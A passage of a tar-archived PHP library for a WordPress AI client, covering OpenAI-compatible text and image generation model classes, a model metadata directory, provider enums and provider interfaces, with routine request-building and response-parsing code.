return ['type' => 'image_url', 'image_url' => ['url' => $file->getDataUri()]];
}
if ($file->isAudio()) {
return ['type' => 'input_audio', 'input_audio' => ['data' => $file->getBase64Data(), 'format' => $file->getMimeTypeObject()->toExtension()]];
}
throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for inline file message part.', $file->getMimeType()));
}
if ($type->isFunctionCall()) {
// Skip, as this is separately included. See `getMessagePartToolCallData()`.
return null;
}
if ($type->isFunctionResponse()) {
// Special case: Function response.
throw new InvalidArgumentException('The API only allows a single function response, as the only content of the message.');
}
throw new InvalidArgumentException(sprintf('Unsupported message part type "%s".', $type));
}
/**
* Returns the OpenAI API specific tool calls data for a message part.
*
* @since 0.1.0
*
* @param MessagePart $part The message part to get the data for.
* @return ?array<string, mixed> The data for the message tool call part, or null if not applicable.
* @throws InvalidArgumentException If the message part type or data is unsupported.
*/
protected function getMessagePartToolCallData(MessagePart $part): ?array
{
$type = $part->getType();
if ($type->isFunctionCall()) {
$functionCall = $part->getFunctionCall();
if (!$functionCall) {
// This should be impossible due to class internals, but still needs to be checked.
throw new RuntimeException('The function call typed message part must contain a function call.');
}
$args = $functionCall->getArgs();
/*
* Ensure null or empty arrays become empty objects for JSON encoding.
* While in theory the JSON schema could also dictate a type of
* 'array', in practice function arguments are typically of type
* 'object'. More importantly, the OpenAI API specification seems
* to expect that, and does not support passing arrays as the root
* value. The null check handles the case where FunctionCall normalizes
* empty arrays to null.
*/
if ($args === null || is_array($args) && count($args) === 0) {
$args = new \stdClass();
}
return ['type' => 'function', 'id' => $functionCall->getId(), 'function' => ['name' => $functionCall->getName(), 'arguments' => json_encode($args)]];
}
// All other types are handled in `getMessagePartContentData()`.
return null;
}
/**
* Validates that the given output modalities to ensure that at least one output modality is text.
*
* @since 0.1.0
*
* @param array<ModalityEnum> $outputModalities The output modalities to validate.
* @throws InvalidArgumentException If no text output modality is present.
*/
protected function validateOutputModalities(array $outputModalities): void
{
// If no output modalities are set, it's fine, as we can assume text.
if (count($outputModalities) === 0) {
return;
}
foreach ($outputModalities as $modality) {
if ($modality->isText()) {
return;
}
}
throw new InvalidArgumentException('A text output modality must be present when generating text.');
}
/**
* Prepares the output modalities parameter for the API request.
*
* @since 0.1.0
*
* @param array<ModalityEnum> $modalities The modalities to prepare.
* @return list<string> The prepared modalities parameter.
*/
protected function prepareOutputModalitiesParam(array $modalities): array
{
$prepared = [];
foreach ($modalities as $modality) {
if ($modality->isText()) {
$prepared[] = 'text';
} elseif ($modality->isImage()) {
$prepared[] = 'image';
} elseif ($modality->isAudio()) {
$prepared[] = 'audio';
} else {
throw new InvalidArgumentException(sprintf('Unsupported output modality "%s".', $modality));
}
}
return $prepared;
}
/**
* Prepares the tools parameter for the API request.
*
* @since 0.1.0
*
* @param list<FunctionDeclaration> $functionDeclarations The function declarations.
* @return list<array<string, mixed>> The prepared tools parameter.
*/
protected function prepareToolsParam(array $functionDeclarations): array
{
$tools = [];
foreach ($functionDeclarations as $functionDeclaration) {
$tools[] = ['type' => 'function', 'function' => $functionDeclaration->toArray()];
}
return $tools;
}
/**
* Prepares the response format parameter for the API request.
*
* This is only called if the output MIME type is `application/json`.
*
* @since 0.1.0
*
* @param array<string, mixed>|null $outputSchema The output schema.
* @return array<string, mixed> The prepared response format parameter.
*/
protected function prepareResponseFormatParam(?array $outputSchema): array
{
if (is_array($outputSchema)) {
return ['type' => 'json_schema', 'json_schema' => $outputSchema];
}
return ['type' => 'json_object'];
}
/**
* Creates a request object for the provider's API.
*
* Implementations should use $this->getRequestOptions() to attach any
* configured request options to the Request.
*
* @since 0.1.0
*
* @param HttpMethodEnum $method The HTTP method.
* @param string $path The API endpoint path, relative to the base URI.
* @param array<string, string|list<string>> $headers The request headers.
* @param string|array<string, mixed>|null $data The request data.
* @return Request The request object.
*/
abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request;
/**
* Throws an exception if the response is not successful.
*
* @since 0.1.0
*
* @param Response $response The HTTP response to check.
* @throws ResponseException If the response is not successful.
*/
protected function throwIfNotSuccessful(Response $response): void
{
/*
* While this method only calls the utility method, it's important to have it here as a protected method so
* that child classes can override it if needed.
*/
ResponseUtil::throwIfNotSuccessful($response);
}
/**
* Parses the response from the API endpoint to a generative AI result.
*
* @since 0.1.0
*
* @param Response $response The response from the API endpoint.
* @return GenerativeAiResult The parsed generative AI result.
*/
protected function parseResponseToGenerativeAiResult(Response $response): GenerativeAiResult
{
/** @var ResponseData $responseData */
$responseData = $response->getData();
if (!isset($responseData['choices']) || !$responseData['choices']) {
throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'choices');
}
if (!is_array($responseData['choices'])) {
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'choices', 'The value must be an array.');
}
$candidates = [];
foreach ($responseData['choices'] as $index => $choiceData) {
if (!is_array($choiceData) || array_is_list($choiceData)) {
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must be an associative array.');
}
$candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index);
}
$id = isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : '';
if (isset($responseData['usage']) && is_array($responseData['usage'])) {
$usage = $responseData['usage'];
$tokenUsage = new TokenUsage($usage['prompt_tokens'] ?? 0, $usage['completion_tokens'] ?? 0, $usage['total_tokens'] ?? 0);
} else {
$tokenUsage = new TokenUsage(0, 0, 0);
}
// Use any other data from the response as provider-specific response metadata.
$additionalData = $responseData;
unset($additionalData['id'], $additionalData['choices'], $additionalData['usage']);
return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $additionalData);
}
/**
* Parses a single choice from the API response into a Candidate object.
*
* @since 0.1.0
*
* @param ChoiceData $choiceData The choice data from the API response.
* @param int $index The index of the choice in the choices array.
* @return Candidate The parsed candidate.
* @throws RuntimeException If the choice data is invalid.
*/
protected function parseResponseChoiceToCandidate(array $choiceData, int $index): Candidate
{
if (!isset($choiceData['message']) || !is_array($choiceData['message']) || array_is_list($choiceData['message'])) {
throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].message");
}
if (!isset($choiceData['finish_reason']) || !is_string($choiceData['finish_reason'])) {
throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason");
}
$messageData = $choiceData['message'];
$message = $this->parseResponseChoiceMessage($messageData, $index);
switch ($choiceData['finish_reason']) {
case 'stop':
$finishReason = FinishReasonEnum::stop();
break;
case 'length':
$finishReason = FinishReasonEnum::length();
break;
case 'content_filter':
$finishReason = FinishReasonEnum::contentFilter();
break;
case 'tool_calls':
$finishReason = FinishReasonEnum::toolCalls();
break;
default:
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason", sprintf('Invalid finish reason "%s".', $choiceData['finish_reason']));
}
return new Candidate($message, $finishReason);
}
/**
* Parses the message from a choice in the API response.
*
* @since 0.1.0
*
* @param MessageData $messageData The message data from the API response.
* @param int $index The index of the choice in the choices array.
* @return Message The parsed message.
*/
protected function parseResponseChoiceMessage(array $messageData, int $index): Message
{
$role = isset($messageData['role']) && 'user' === $messageData['role'] ? MessageRoleEnum::user() : MessageRoleEnum::model();
$parts = $this->parseResponseChoiceMessageParts($messageData, $index);
return new Message($role, $parts);
}
/**
* Parses the message parts from a choice in the API response.
*
* @since 0.1.0
*
* @param MessageData $messageData The message data from the API response.
* @param int $index The index of the choice in the choices array.
* @return MessagePart[] The parsed message parts.
*/
protected function parseResponseChoiceMessageParts(array $messageData, int $index): array
{
$parts = [];
if (isset($messageData['reasoning_content']) && is_string($messageData['reasoning_content'])) {
$parts[] = new MessagePart($messageData['reasoning_content'], MessagePartChannelEnum::thought());
}
if (isset($messageData['content']) && is_string($messageData['content'])) {
$parts[] = new MessagePart($messageData['content']);
}
if (isset($messageData['tool_calls']) && is_array($messageData['tool_calls'])) {
foreach ($messageData['tool_calls'] as $toolCallIndex => $toolCallData) {
$toolCallPart = $this->parseResponseChoiceMessageToolCallPart($toolCallData);
if (!$toolCallPart) {
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].message.tool_calls[{$toolCallIndex}]", 'The response includes a tool call of an unexpected type.');
}
$parts[] = $toolCallPart;
}
}
return $parts;
}
/**
* Parses a tool call part from the API response.
*
* @since 0.1.0
*
* @param ToolCallData $toolCallData The tool call data from the API response.
* @return MessagePart|null The parsed message part for the tool call, or null if not applicable.
*/
protected function parseResponseChoiceMessageToolCallPart(array $toolCallData): ?MessagePart
{
/*
* For now, only function calls are supported.
*
* Not all OpenAI compatible APIs include a 'type' key, so we only check its value if it is set.
*/
if (isset($toolCallData['type']) && 'function' !== $toolCallData['type'] || !isset($toolCallData['function']) || !is_array($toolCallData['function'])) {
return null;
}
$functionArguments = is_string($toolCallData['function']['arguments']) ? json_decode($toolCallData['function']['arguments'], \true) : $toolCallData['function']['arguments'];
$functionCall = new FunctionCall(isset($toolCallData['id']) && is_string($toolCallData['id']) ? $toolCallData['id'] : null, isset($toolCallData['function']['name']) && is_string($toolCallData['function']['name']) ? $toolCallData['function']['name'] : null, $functionArguments);
return new MessagePart($functionCall);
}
}
src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleImageGenerationModel.php 0000644 00000031733 15220530455 0026711 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\OpenAiCompatibleImplementation;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModel;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
use WordPress\AiClient\Providers\Http\Exception\ResponseException;
use WordPress\AiClient\Providers\Http\Util\ResponseUtil;
use WordPress\AiClient\Providers\Models\ImageGeneration\Contracts\ImageGenerationModelInterface;
use WordPress\AiClient\Results\DTO\Candidate;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Results\DTO\TokenUsage;
use WordPress\AiClient\Results\Enums\FinishReasonEnum;
/**
* Base class for an image generation model for providers that implement OpenAI's API format.
*
* This abstract class is designed to work with any AI provider that offers an OpenAI-compatible
* API endpoint for image generation, including but not limited to Anthropic, Google, and other
* providers that have adopted OpenAI's image generation API specification as a standard interface.
*
* @since 0.1.0
*
* @phpstan-type ImageGenerationParams array{
* model: string,
* prompt: string,
* n?: int,
* response_format?: string,
* output_format?: string|null,
* size?: string,
* ...
* }
* @phpstan-type ChoiceData array{
* url?: string,
* b64_json?: string
* }
* @phpstan-type UsageData array{
* input_tokens?: int,
* output_tokens?: int,
* total_tokens?: int
* }
* @phpstan-type ResponseData array{
* id?: string,
* data?: list<ChoiceData>,
* usage?: UsageData
* }
*/
abstract class AbstractOpenAiCompatibleImageGenerationModel extends AbstractApiBasedModel implements ImageGenerationModelInterface
{
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function generateImageResult(array $prompt): GenerativeAiResult
{
$httpTransporter = $this->getHttpTransporter();
$params = $this->prepareGenerateImageParams($prompt);
$request = $this->createRequest(HttpMethodEnum::POST(), 'images/generations', ['Content-Type' => 'application/json'], $params);
// Add authentication credentials to the request.
$request = $this->getRequestAuthentication()->authenticateRequest($request);
// Send and process the request.
$response = $httpTransporter->send($request);
$this->throwIfNotSuccessful($response);
return $this->parseResponseToGenerativeAiResult($response, isset($params['output_format']) && is_string($params['output_format']) ? "image/{$params['output_format']}" : 'image/png');
}
/**
* Prepares the given prompt and the model configuration into parameters for the API request.
*
* @since 0.1.0
*
* @param list<Message> $prompt The prompt to generate an image for. Either a single message or a list of messages
* from a chat. However as of today, OpenAI compatible image generation endpoints only
* support a single user message.
* @return ImageGenerationParams The parameters for the API request.
*/
protected function prepareGenerateImageParams(array $prompt): array
{
$config = $this->getConfig();
$params = ['model' => $this->metadata()->getId(), 'prompt' => $this->preparePromptParam($prompt)];
$candidateCount = $config->getCandidateCount();
if ($candidateCount !== null) {
$params['n'] = $candidateCount;
}
$outputFileType = $config->getOutputFileType();
if ($outputFileType !== null) {
$params['response_format'] = $outputFileType->isRemote() ? 'url' : 'b64_json';
} else {
// The 'response_format' parameter is required, so we default to 'b64_json' if not set.
$params['response_format'] = 'b64_json';
}
$outputMimeType = $config->getOutputMimeType();
if ($outputMimeType !== null) {
$params['output_format'] = preg_replace('/^image\//', '', $outputMimeType);
}
$outputMediaOrientation = $config->getOutputMediaOrientation();
$outputMediaAspectRatio = $config->getOutputMediaAspectRatio();
if ($outputMediaOrientation !== null || $outputMediaAspectRatio !== null) {
$params['size'] = $this->prepareSizeParam($outputMediaOrientation, $outputMediaAspectRatio);
}
/*
* Any custom options are added to the parameters as well.
* This allows developers to pass other options that may be more niche or not yet supported by the SDK.
*/
$customOptions = $config->getCustomOptions();
foreach ($customOptions as $key => $value) {
if (isset($params[$key])) {
throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key));
}
$params[$key] = $value;
}
/** @var ImageGenerationParams $params */
return $params;
}
/**
* Prepares the prompt parameter for the API request.
*
* @since 0.1.0
*
* @param list<Message> $messages The messages to prepare. However as of today, OpenAI compatible image generation
* endpoints only support a single user message.
* @return string The prepared prompt parameter.
*/
protected function preparePromptParam(array $messages): string
{
if (count($messages) !== 1) {
throw new InvalidArgumentException('The API requires a single user message as prompt.');
}
$message = $messages[0];
if (!$message->getRole()->isUser()) {
throw new InvalidArgumentException('The API requires a user message as prompt.');
}
$text = null;
foreach ($message->getParts() as $part) {
$text = $part->getText();
if ($text !== null) {
break;
}
}
if ($text === null) {
throw new InvalidArgumentException('The API requires a single text message part as prompt.');
}
return $text;
}
/**
* Prepares the size parameter for the API request.
*
* @since 0.1.0
*
* @param MediaOrientationEnum|null $orientation The desired media orientation.
* @param string|null $aspectRatio The desired media aspect ratio.
* @return string The prepared size parameter.
*/
protected function prepareSizeParam(?MediaOrientationEnum $orientation, ?string $aspectRatio): string
{
// Use aspect ratio if set, as it is more specific.
if ($aspectRatio !== null) {
switch ($aspectRatio) {
case '1:1':
return '1024x1024';
case '3:2':
return '1536x1024';
case '7:4':
return '1792x1024';
case '2:3':
return '1024x1536';
case '4:7':
return '1024x1792';
default:
throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not supported.');
}
}
// This should always have a value, as the method is only called if at least one or the other is set.
if ($orientation !== null) {
if ($orientation->isLandscape()) {
return '1536x1024';
}
if ($orientation->isPortrait()) {
return '1024x1536';
}
}
return '1024x1024';
}
/**
* Creates a request object for the provider's API.
*
* Implementations should use $this->getRequestOptions() to attach any
* configured request options to the Request.
*
* @since 0.1.0
*
* @param HttpMethodEnum $method The HTTP method.
* @param string $path The API endpoint path, relative to the base URI.
* @param array<string, string|list<string>> $headers The request headers.
* @param string|array<string, mixed>|null $data The request data.
* @return Request The request object.
*/
abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request;
/**
* Throws an exception if the response is not successful.
*
* @since 0.1.0
*
* @param Response $response The HTTP response to check.
* @throws ResponseException If the response is not successful.
*/
protected function throwIfNotSuccessful(Response $response): void
{
/*
* While this method only calls the utility method, it's important to have it here as a protected method so
* that child classes can override it if needed.
*/
ResponseUtil::throwIfNotSuccessful($response);
}
/**
* Parses the response from the API endpoint to a generative AI result.
*
* @since 0.1.0
*
* @param Response $response The response from the API endpoint.
* @param string $expectedMimeType The expected MIME type the response is in.
* @return GenerativeAiResult The parsed generative AI result.
*/
protected function parseResponseToGenerativeAiResult(Response $response, string $expectedMimeType = 'image/png'): GenerativeAiResult
{
/** @var ResponseData $responseData */
$responseData = $response->getData();
if (!isset($responseData['data']) || !$responseData['data']) {
throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'data');
}
if (!is_array($responseData['data'])) {
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'data', 'The value must be an array.');
}
$candidates = [];
foreach ($responseData['data'] as $index => $choiceData) {
if (!is_array($choiceData) || array_is_list($choiceData)) {
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "data[{$index}]", 'The value must be an associative array.');
}
$candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index, $expectedMimeType);
}
$id = $this->getResultId($responseData);
if (isset($responseData['usage']) && is_array($responseData['usage'])) {
$usage = $responseData['usage'];
$tokenUsage = new TokenUsage($usage['input_tokens'] ?? 0, $usage['output_tokens'] ?? 0, $usage['total_tokens'] ?? 0);
} else {
$tokenUsage = new TokenUsage(0, 0, 0);
}
// Use any other data from the response as provider-specific response metadata.
$providerMetadata = $responseData;
unset($providerMetadata['id'], $providerMetadata['data'], $providerMetadata['usage']);
return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $providerMetadata);
}
/**
* Parses a single choice from the API response into a Candidate object.
*
* @since 0.1.0
*
* @param ChoiceData $choiceData The choice data from the API response.
* @param int $index The index of the choice in the choices array.
* @param string $expectedMimeType The expected MIME type the response is in.
* @return Candidate The parsed candidate.
* @throws RuntimeException If the choice data is invalid.
*/
protected function parseResponseChoiceToCandidate(array $choiceData, int $index, string $expectedMimeType = 'image/png'): Candidate
{
if (isset($choiceData['url']) && is_string($choiceData['url'])) {
$imageFile = new File($choiceData['url'], $expectedMimeType);
} elseif (isset($choiceData['b64_json']) && is_string($choiceData['b64_json'])) {
$imageFile = new File($choiceData['b64_json'], $expectedMimeType);
} else {
throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must contain either a url or b64_json key with a string value.');
}
$parts = [new MessagePart($imageFile)];
$message = new Message(MessageRoleEnum::model(), $parts);
return new Candidate($message, FinishReasonEnum::stop());
}
/**
* Extracts the result ID from the API response data.
*
* @since 0.4.0
*
* @param array<string, mixed> $responseData The response data from the API.
* @return string The result ID.
*/
protected function getResultId(array $responseData): string
{
return isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : '';
}
}
src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleModelMetadataDirectory.php 0000644 00000006373 15220530455 0027262 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\OpenAiCompatibleImplementation;
use WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModelMetadataDirectory;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
use WordPress\AiClient\Providers\Http\Exception\ResponseException;
use WordPress\AiClient\Providers\Http\Util\ResponseUtil;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Base class for a model metadata directory for providers that implement OpenAI's API format.
*
* This abstract class is designed to work with any AI provider that offers an OpenAI-compatible
* models listing endpoint, including but not limited to Anthropic, Google, and other
* providers that have adopted OpenAI's models API specification as a standard interface.
*
* @since 0.1.0
*/
abstract class AbstractOpenAiCompatibleModelMetadataDirectory extends AbstractApiBasedModelMetadataDirectory
{
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
protected function sendListModelsRequest(): array
{
$httpTransporter = $this->getHttpTransporter();
$request = $this->createRequest(HttpMethodEnum::GET(), 'models');
$request = $this->getRequestAuthentication()->authenticateRequest($request);
$response = $httpTransporter->send($request);
$this->throwIfNotSuccessful($response);
$modelsMetadataList = $this->parseResponseToModelMetadataList($response);
$modelMetadataMap = [];
foreach ($modelsMetadataList as $modelMetadata) {
$modelMetadataMap[$modelMetadata->getId()] = $modelMetadata;
}
return $modelMetadataMap;
}
/**
* Creates a request object for the provider's API.
*
* @since 0.1.0
*
* @param HttpMethodEnum $method The HTTP method.
* @param string $path The API endpoint path, relative to the base URI.
* @param array<string, string|list<string>> $headers The request headers.
* @param string|array<string, mixed>|null $data The request data.
* @return Request The request object.
*/
abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request;
/**
* Throws an exception if the response is not successful.
*
* @since 0.1.0
*
* @param Response $response The HTTP response to check.
* @throws ResponseException If the response is not successful.
*/
protected function throwIfNotSuccessful(Response $response): void
{
/*
* While this method only calls the utility method, it's important to have it here as a protected method so
* that child classes can override it if needed.
*/
ResponseUtil::throwIfNotSuccessful($response);
}
/**
* Parses the response from the API endpoint to list models into a list of model metadata objects.
*
* @since 0.1.0
*
* @param Response $response The response from the API endpoint to list models.
* @return list<ModelMetadata> List of model metadata objects.
*/
abstract protected function parseResponseToModelMetadataList(Response $response): array;
}
src/Providers/Enums/ToolTypeEnum.php 0000644 00000001365 15220530455 0013522 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for tool types.
*
* @since 0.1.0
*
* @method static self functionDeclarations() Creates an instance for FUNCTION_DECLARATIONS type.
* @method static self webSearch() Creates an instance for WEB_SEARCH type.
* @method bool isFunctionDeclarations() Checks if the type is FUNCTION_DECLARATIONS.
* @method bool isWebSearch() Checks if the type is WEB_SEARCH.
*/
class ToolTypeEnum extends AbstractEnum
{
/**
* Function declarations tool type.
*/
public const FUNCTION_DECLARATIONS = 'function_declarations';
/**
* Web search tool type.
*/
public const WEB_SEARCH = 'web_search';
}
src/Providers/Enums/ProviderTypeEnum.php 0000644 00000001673 15220530455 0014401 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for provider types.
*
* @since 0.1.0
*
* @method static self cloud() Creates an instance for CLOUD type.
* @method static self server() Creates an instance for SERVER type.
* @method static self client() Creates an instance for CLIENT type.
* @method bool isCloud() Checks if the type is CLOUD.
* @method bool isServer() Checks if the type is SERVER.
* @method bool isClient() Checks if the type is CLIENT.
*/
class ProviderTypeEnum extends AbstractEnum
{
/**
* Cloud-based AI provider (e.g. models available via external REST APIs).
*/
public const CLOUD = 'cloud';
/**
* Server-side AI provider (e.g. self-hosted models).
*/
public const SERVER = 'server';
/**
* Client-side AI provider (e.g. browser-based models).
*/
public const CLIENT = 'client';
}
src/Providers/Contracts/ProviderOperationsHandlerInterface.php 0000644 00000001522 15220530455 0020737 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Operations\Contracts\OperationInterface;
/**
* Interface for handling provider-level operations.
*
* Provides methods to retrieve and manage long-running operations
* across all models within a provider. Operations are tracked at the
* provider level rather than per-model.
*
* @since 0.1.0
*/
interface ProviderOperationsHandlerInterface
{
/**
* Gets an operation by ID.
*
* @since 0.1.0
*
* @param string $operationId Operation identifier.
* @return OperationInterface The operation.
* @throws InvalidArgumentException If operation not found.
*/
public function getOperation(string $operationId): OperationInterface;
}
src/Providers/Contracts/ModelMetadataDirectoryInterface.php 0000644 00000002347 15220530455 0020177 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Interface for accessing model metadata within a provider.
*
* Provides methods to list, check, and retrieve model metadata
* for all models supported by a provider.
*
* @since 0.1.0
*/
interface ModelMetadataDirectoryInterface
{
/**
* Lists all available model metadata.
*
* @since 0.1.0
*
* @return list<ModelMetadata> Array of model metadata.
*/
public function listModelMetadata(): array;
/**
* Checks if metadata exists for a specific model.
*
* @since 0.1.0
*
* @param string $modelId Model identifier.
* @return bool True if metadata exists, false otherwise.
*/
public function hasModelMetadata(string $modelId): bool;
/**
* Gets metadata for a specific model.
*
* @since 0.1.0
*
* @param string $modelId Model identifier.
* @return ModelMetadata Model metadata.
* @throws InvalidArgumentException If model metadata not found.
*/
public function getModelMetadata(string $modelId): ModelMetadata;
}
src/Providers/Contracts/ProviderAvailabilityInterface.php 0000644 00000001056 15220530455 0017732 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;
/**
* Interface for checking provider availability.
*
* Determines whether a provider is configured and available
* for use based on API keys, credentials, or other requirements.
*
* @since 0.1.0
*/
interface ProviderAvailabilityInterface
{
/**
* Checks if the provider is configured.
*
* @since 0.1.0
*
* @return bool True if the provider is configured and available, false otherwise.
*/
public function isConfigured(): bool;
}
src/Providers/Contracts/ProviderInterface.php 0000644 00000003322 15220530455 0015375 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
/**
* Interface for AI providers.
*
* Providers represent AI services (Google, OpenAI, Anthropic, etc.)
* and provide access to models, metadata, and availability information.
*
* @since 0.1.0
*/
interface ProviderInterface
{
/**
* Gets provider metadata.
*
* @since 0.1.0
*
* @return ProviderMetadata Provider metadata.
*/
public static function metadata(): ProviderMetadata;
/**
* Creates a model instance.
*
* @since 0.1.0
*
* @param string $modelId Model identifier.
* @param ?ModelConfig $modelConfig Model configuration.
* @return ModelInterface Model instance.
* @throws InvalidArgumentException If model not found or configuration invalid.
*/
public static function model(string $modelId, ?ModelConfig $modelConfig = null): ModelInterface;
/**
* Gets provider availability checker.
*
* @since 0.1.0
*
* @return ProviderAvailabilityInterface Provider availability checker.
*/
public static function availability(): \WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
/**
* Gets model metadata directory.
*
* @since 0.1.0
*
* @return ModelMetadataDirectoryInterface Model metadata directory.
*/
public static function modelMetadataDirectory(): \WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
}
src/Providers/Contracts/ProviderWithOperationsHandlerInterface.php 0000644 00000001235 15220530455 0021574 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;
/**
* Interface for providers that support operations handlers.
*
* Providers implementing this interface can return an operations handler
* for managing long-running operations across all their models.
*
* @since 0.1.0
*/
interface ProviderWithOperationsHandlerInterface
{
/**
* Gets the operations handler for this provider.
*
* @since 0.1.0
*
* @return ProviderOperationsHandlerInterface The operations handler.
*/
public static function operationsHandler(): \WordPress\AiClient\Providers\Contracts\ProviderOperationsHandlerInterface;
}
src/Providers/AbstractProvider.php 0000644 00000010014 15220530455 0013274 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers;
use WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Base class for a provider.
*
* @since 0.1.0
*/
abstract class AbstractProvider implements ProviderInterface
{
/**
* @var array<string, ProviderMetadata> Cache for provider metadata per class.
*/
private static array $metadataCache = [];
/**
* @var array<string, ProviderAvailabilityInterface> Cache for provider availability per class.
*/
private static array $availabilityCache = [];
/**
* @var array<string, ModelMetadataDirectoryInterface> Cache for model metadata directory per class.
*/
private static array $modelMetadataDirectoryCache = [];
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public static function metadata(): ProviderMetadata
{
$className = static::class;
if (!isset(self::$metadataCache[$className])) {
self::$metadataCache[$className] = static::createProviderMetadata();
}
return self::$metadataCache[$className];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public static function model(string $modelId, ?ModelConfig $modelConfig = null): ModelInterface
{
$providerMetadata = static::metadata();
$modelMetadata = static::modelMetadataDirectory()->getModelMetadata($modelId);
$model = static::createModel($modelMetadata, $providerMetadata);
if ($modelConfig) {
$model->setConfig($modelConfig);
}
return $model;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public static function availability(): ProviderAvailabilityInterface
{
$className = static::class;
if (!isset(self::$availabilityCache[$className])) {
self::$availabilityCache[$className] = static::createProviderAvailability();
}
return self::$availabilityCache[$className];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public static function modelMetadataDirectory(): ModelMetadataDirectoryInterface
{
$className = static::class;
if (!isset(self::$modelMetadataDirectoryCache[$className])) {
self::$modelMetadataDirectoryCache[$className] = static::createModelMetadataDirectory();
}
return self::$modelMetadataDirectoryCache[$className];
}
/**
* Creates a model instance based on the given model metadata and provider metadata.
*
* @since 0.1.0
*
* @param ModelMetadata $modelMetadata The model metadata.
* @param ProviderMetadata $providerMetadata The provider metadata.
* @return ModelInterface The new model instance.
*/
abstract protected static function createModel(ModelMetadata $modelMetadata, ProviderMetadata $providerMetadata): ModelInterface;
/**
* Creates the provider metadata instance.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
abstract protected static function createProviderMetadata(): ProviderMetadata;
/**
* Creates the provider availability instance.
*
* @since 0.1.0
*
* @return ProviderAvailabilityInterface The provider availability.
*/
abstract protected static function createProviderAvailability(): ProviderAvailabilityInterface;
/**
* Creates the model metadata directory instance.
*
* @since 0.1.0
*
* @return ModelMetadataDirectoryInterface The model metadata directory.
*/
